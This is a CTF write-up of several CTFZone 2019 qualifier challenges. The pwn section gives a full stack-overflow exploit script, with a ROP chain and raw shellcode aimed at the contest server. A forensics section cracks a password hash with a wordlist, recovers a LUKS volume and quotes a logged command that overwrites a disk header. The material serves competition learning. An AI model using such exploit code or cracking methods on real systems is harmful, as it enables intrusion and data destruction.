I played CTFZone 2019 Quals in zer0pts
.
Our team got 879pts and kept 37th place.
Thank you for organizing the CTF. Here's the tasks and solvers for some challenges I solved.
https://bitbucket.org/ptr-yudai/writeups/src/master/2019/CTFZone_2019_Quals/
[Pwn] Tic-tac-toe
Description: I'm the best AI architect ever. No one can beat my superb tic-tac-toe algorithm. Prove me wrong. Server: nc pwn-tictactoe.ctfz.one 8889 Files: tictactoe, server.py
We're given a 64-bit ELF and python server.
$ checksec -f tictactoe RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 125 Symbols No 0 14 tictactoe
The binary connects to the server and the server has the flag.
We need to win an impossible game 100 times to get the flag.
It has a simple stack overflow vulnerability when it reads our name.
So, we can easily take the control but must keep it in mind that it's over socket.
There's a function named send_flag
, which asks the server for the flag and prints the response.
However, we need to bypass the following checks to get the flag.
if session not in self.sessions: err = ERROR_SESS msg = "You trying to cheat on me!\n" elif self.sessions[session]['level'] < FLAG_COUNT: err = ERROR_SESS msg = "You trying to cheat on me!\n" else: err = ERROR_NO msg = FLAG
The first check can be bypassed just by calling reg_user
with proper rdi value set.
The second check is annoying. We must win the game 100 times.
I wrote a shellcode which "wins" the game 100 times as we can decide the computer's moves.
The point is that I called send_flag
in order to make rdx(=recv size) enough to store my shellcode.
from ptrlib import * import time fd = 4 elf = ELF("./tictactoe") #sock = Socket("0.0.0.0", 8889) sock = Socket("pwn-tictactoe.ctfz.one", 8889) rop_pop_rdi = 0x0040310b rop_pop_rsi_r15 = 0x00403109 addr_shellcode = elf.section(".bss") + 0x400 shellcode = b'\x49\xc7\xc7\x64\x00\x00\x00' for h, c in [(0,3), (1,4), (2,8)]: shellcode += b'\xb9' + p32(h) shellcode += b'\xba' + p32(c) shellcode += b'\x48\xbe' + p64(elf.symbol('session')) shellcode += b'\x48\xb8' + p64(elf.symbol('server_ip')) shellcode += b'\x48\x8b\x38' shellcode += b'\x49\xbc' + p64(elf.symbol('send_state')) shellcode += b'\x41\xff\xd4' shellcode += b'\x49\xff\xcf' shellcode += b'\x4d\x85\xff' shellcode += b'\x0f\x85\x6a\xff\xff\xff' shellcode += b'\xc3' shellcode += b'\x00' * (0x102 - len(shellcode)) time.sleep(1) payload = b'A' * 0x58 payload += p64(rop_pop_rdi) payload += p64(elf.section('.bss') + 0x100) payload += p64(elf.symbol('reg_user')) payload += p64(elf.symbol('send_flag')) payload += p64(rop_pop_rdi) payload += p64(fd) payload += p64(rop_pop_rsi_r15) payload += p64(addr_shellcode) payload += p64(0xdeadbeef) payload += p64(elf.symbol('recv_all')) payload += p64(addr_shellcode) payload += p64(elf.symbol('send_flag')) payload += b'A' * (0x800 - len(payload)) sock.sendafter(": ", payload) time.sleep(1) sock.send(shellcode) time.sleep(3) sock.interactive()
Yay!
$ python solve.py [+] __init__: Successfully connected to pwn-tictactoe.ctfz.one:8889 [ptrlib]$ You trying to cheat on me! [ptrlib]$ ctfzone{h3r3_w3_g0_4g41n_t1c_t4c_t03_1z_4_n1z3_g4m3}
[Rev] Baby rev
Description: EZ task for beginners in RE. Don't forget to add ctfzone and curly braces before submitting flag (like ctfzone{FLAG_HERE}). File: BABY_REV.EXE
It's a 16-bit MS-DOS executable. It can't be recognized by IDA but I loaded it as a binary file and somehow found the main routine. This is the overview of the program:
int main(int argc, char **argv) { short c; int i, j; FILE *fp; char key[0x50*6]; if (argc < 2) { printf("usage: %s <key_file>\n", argv[0]); return 1; } fp = fopen(argv[1], "rb"); if (fp == NULL) { printf("cannot open file %s\n", argv[1]); return 1; } for(i = 0; i < 6; i++) { for(j = 0; j < 0x50; j++) { c = fgetc(fp); if (c != EOF) { buffer[i*0x50+j] = c; } } } if (check01(key) == 0 || ... || check08(key) == 0) { printf("Incorrect flag\n"); } else { for(i = 0; i < 6; i++) { for(j = 0; j < 0x50; j++) { printf("%c", key[i * 0x50 + j]); } } } }
Each checkXX
function checks every byte of key
like this:
40c: 80 3c db cmpb $0xdb,(%si) 40f: 74 03 je 0x414 411: e9 12 02 jmp 0x626 414: 80 7c 01 db cmpb $0xdb,0x1(%si) 418: 74 03 je 0x41d 41a: e9 09 02 jmp 0x626 41d: 80 7c 02 db cmpb $0xdb,0x2(%si) 421: 74 03 je 0x426 423: e9 00 02 jmp 0x626 426: 80 7c 03 bb cmpb $0xbb,0x3(%si) 42a: 74 03 je 0x42f ...
I wrote a python script.
import re key = b'?' * (0x50*6) key = b'\xdb' + key[1:] with open("disasm.txt", "r") as f: for line in f: if 'cmpb' not in line: continue r = re.findall("\$0x([0-9a-f]+),0x([0-9a-f]+)\(%si\)", line) if r: val = int(r[0][0], 16) ofs = int(r[0][1], 16) key = key[:ofs] + bytes([val]) + key[ofs+1:] for i in range(6): for j in range(0x50): c = key[i*0x50+j] if c == 0xdb: c = ord('#') elif c == 0xcd: c = ord('.') elif c != 0x20 and c != 0x0a: c = ord('_') print(chr(c), end="")
ctfzone{N1C3_FLAG!1}
$ python solve.py ###__ ##_ ##_ ######_######_ #######_##_ #####_ ######_ ##_ ##__ ####_ ##_###_##_....__....##_ ##_...._##_ ##_..##_##_...._ ##_###__ ##_##_ ##__##_##_ #####__ #####_ ##_ #######_##_ ###_##__##__ ##__##_##_ ##_##_ _...##_ ##_.._ ##_ ##_..##_##_ ##__._ ##__ ##_ _####_ ##__######_######__#######_##_ #######_##_ ##__######__##_ ##__ _._ _..._ _._ _.....__....._ _......__._ _......__._ _._ _....._ _._ _.__
[Rev] Strange PDF
Description: You have one PDF file. Now calculate the flag. It's in decimal, by the way. File: document.pdf
The PDF just says:
I found startxref and xrefs for objects are wrong. As the xref for even the first object is wrong, I realized a weired comment was inserted in the head of the PDF. Also, file command says it's DOS/MBR boot sector.
$ file document.pdf document.pdf: DOS/MBR boot sector
So, I interpreted the comment as DOS machine code.
and ax, 0x4450 inc si sub ax, 0x2e31 xor al, 0xa and ax, 0xb7e2 mov ah, 2 mov bh, 0 mov dh, 1 mov dl, 1 int 0x10 mov ah, 0xa mov al, 0x39 mov bh, 0 mov cx, 5 int 0x10 mov ah, 2 mov bh, 0 mov dh, 1 mov dl, 3 int 0x10 mov ah, 0xa mov al, 0x33 mov bh, 0 mov cx, 1 int 0x10
This code outputs 99399
and I got the flag by setting this value as x
.
[Forensics] Joshua
Description: This should be an easy one, just remember to rock. (Sorry, the flag on disk begins with CTFZone, please change it to all lowercase, when you submit). Files: joshua.img
We're given a 20GB disk dump.
$ mmls joshua.img DOS Partition Table Offset Sector: 0 Units are in 512-byte sectors Slot Start End Length Description 000: Meta 0000000000 0000000000 0000000001 Primary Table (#0) 001: ------- 0000000000 0000002047 0000002048 Unallocated 002: 000:000 0000002048 0007999487 0007997440 Linux Swap / Solaris x86 (0x82) 003: ------- 0007999488 0008001535 0000002048 Unallocated 004: Meta 0008001534 0039835647 0031834114 DOS Extended (0x05) 005: Meta 0008001534 0008001534 0000000001 Extended Table (#1) 006: 001:000 0008001536 0039835647 0031834112 Linux (0x83) 007: 000:002 0039835648 0041932799 0002097152 Linux (0x83) 008: ------- 0041932800 0041943039 0000010240 Unallocated
First of all, I checked the bash history of root user.
$ icat joshua.img -o 0008001536 24 usermod -l joshua -d /home/joshua -m vospnh cat /etc/hostname cat /etc/hosts usermod -l joshua -d /home/joshua -m vospnh groups groups vospnh groups joshua groupmod -n joshua vospnh reboot
Let's check the history of joshua
.
$ icat joshua.img -o 0008001536 281438 sudo nano /etc/hostname sudo nano /etc/hosts cat /etc/host cat /etc/hostname sudo passwd root su root sudo blkid sudo mount /dev/sdb1 sudo mount /dev/sdb1 /mnt syn sync sudo cryptsetup close cryptovolume chsh -s /bin/zsh echo $(SHELL) zsh cat /var/log/auth.log faillog chsh -s zsh sudo apt install zsh chsh -s /bin/zsh sudo apt install keepass2 keepass2 sudo luksformat /dev/sda3 sudo cryptsetup close /dev/mapper/ ls /dev/mapper chsh -s /bin/bash rm ~/.zshrc rm ~/.zsh_history sudo apt remove zsh ls -a cd ~ ls ls -a rm -r .oh-my-zsh/
Obviously it's a malicious user. What he/she had done is:
- Install zsh, cryptsetup and keepass2
- Edit /etc/hostname and /etc/hosts
- Change password for root
- Encrypts /dev/sda3
These actions can also be seen in /var/log/auth.log
.
He uses zsh for some actions in order not to leave the log.
First, I extracted the keepass database and the key file.
KeepItSafe.kdbx
and KeepItSafe.key
are located in /home/joshua/Documents
.
$ fls joshua.img -o 0008001536 281306 r/r * 284143(realloc): KeepItSafe.key r/r * 284675(realloc): KeepItSafe.kdbx.tmp r/r 284675: KeepItSafe.kdbx
Second, I extracted /etc/passwd
and /etc/shadow
, and cracked the password for joshua
with using John the Ripper and rockyou.txt
.
After running john for an hour, I found the password cycofr3ak
.
I opened the keepass database with the key file and the password, and found an entry named VerySecureKey
, whose password is ZRLkirbilgQEtueuhqPCCzcYgvLxQ8
.
So, keepass part is done.
What we need to do is decrypt the disk encrypted with luks format.
We can find the following commands from /var/log/auth.log
.
/sbin/cryptsetup luksHeaderBackup /dev/sda3 --header-backup-file /sbin/secure/hb /bin/dd if=/dev/urandom of=/dev/sda3 bs=512 count=1
It corrupts the header but also keeps the backup. So, using the backup file we may find the head of the luks-encrypted disk. I wrote a simple script to find the encryped disk.
with open("hb", "rb") as f: hb = f.read(0x100000) ofs = 0 with open("joshua.img", "rb") as f: while True: buf = f.read(len(hb)) if buf == b'': break x = buf.find(hb[512:0x1000]) if x >= 0: print(hex(ofs + x - 512)) ofs += len(buf)
It finds 2 sections, one for /sbin/secure/hb
and another for the disk (0x4bfb00000).
I dumped the disk and fixed the header, then run cryptsetup luksOpen encrypted.luks luks
to mount the image.
Finally I found the flag in the mounted volume.
ctfzone{cryptographic_volumes_are_only_as_good_as_the_weakest_link}
[Rev] M394Dr1V3 cr4cKM3
Description: Hey, I've found this old crackme under the rug in the attic, could you solve it for me? Don't forget to add ctfzone and curly braces before submitting flag (like ctfzone{FLAG_HERE}). File: m394Dr1V3_cr4cKM3.bin
We're given a Mega Drive ROM file.
$ file m394Dr1V3_cr4cKM3.bin m394Dr1V3_cr4cKM3.bin: Sega Mega Drive / Genesis ROM image: " " (GM 01234567-89, COPYLEFT CTFZONE)
I used genesis script to import the ROM with ghidra, and DGen/SDL to emulate the ROM. We need to enter 16-byte password.
How great of Ghidra! It's decompling the process perfectly!
I wrote a script to find the key.
from z3 import * key = [BitVec("key{:02x}".format(i), 8) for i in range(0x10)] s = Solver() for c in key: s.add(And(ord('0') <= c, c <= ord('Z'))) s.add(And( key[0]*0x4f + key[1]*0x28 + key[2]*0x04 + key[3]*0x1c == (-9 % 0x100), key[0]*0x25 + key[1]*0x3f + key[2]*0x05 + key[3]*0x3c == 0x2f, key[0]*0x60 + key[1]*0x40 + key[2]*0x5e + key[3]*0x08 == 2, key[0]*0x3b + key[1]*0x01 + key[2]*0x4e + key[3]*0x10 == (-0x4a % 0x100) )) s.add(And( key[4]*0x4f + key[5]*0x28 + key[6]*0x04 + key[7]*0x1c == (-0x48 % 0x100), key[4]*0x25 + key[5]*0x3f + key[6]*0x05 + key[7]*0x3c == (-3 % 0x100), key[4]*0x60 + key[5]*0x40 + key[6]*0x5e + key[7]*0x08 == 0x18, key[4]*0x3b + key[5]*0x01 + key[6]*0x4e + key[7]*0x10 == (-0x71 % 0x100) )) s.add(And( key[8]*0x4f + key[9]*0x28 + key[10]*0x04 + key[11]*0x1c == 0x3e, key[8]*0x25 + key[9]*0x3f + key[10]*0x05 + key[11]*0x3c == (-0x48 % 0x100), key[8]*0x60 + key[9]*0x40 + key[10]*0x5e + key[11]*0x08 == (-0x70 % 0x100), key[8]*0x3b + key[9]*0x01 + key[10]*0x4e + key[11]*0x10 == (-0x20 % 0x100) )) s.add(And( key[12]*0x4f + key[13]*0x28 + key[14]*0x04 + key[15]*0x1c == (-0x31%0x100), key[12]*0x25 + key[13]*0x3f + key[14]*0x05 + key[15]*0x3c == (-0x7b%0x100), key[12]*0x60 + key[13]*0x40 + key[14]*0x5e + key[15]*0x08 == (-0x34%0x100), key[12]*0x3b + key[13]*0x01 + key[14]*0x4e + key[15]*0x10 == 0x41 )) answer = ['?' for i in range(0x10)] r = s.check() if r == sat: m = s.model() for d in m.decls(): print(d, m[d]) answer[int(d.name()[3:], 16)] = chr(m[d].as_long()) answer = ''.join(answer) print("Found!") print(answer) else: print("unsat...")
I got the flag by entering this key in the emulator.
ctfzone{0mg_it$fu11_0f_f1ags_lo1!}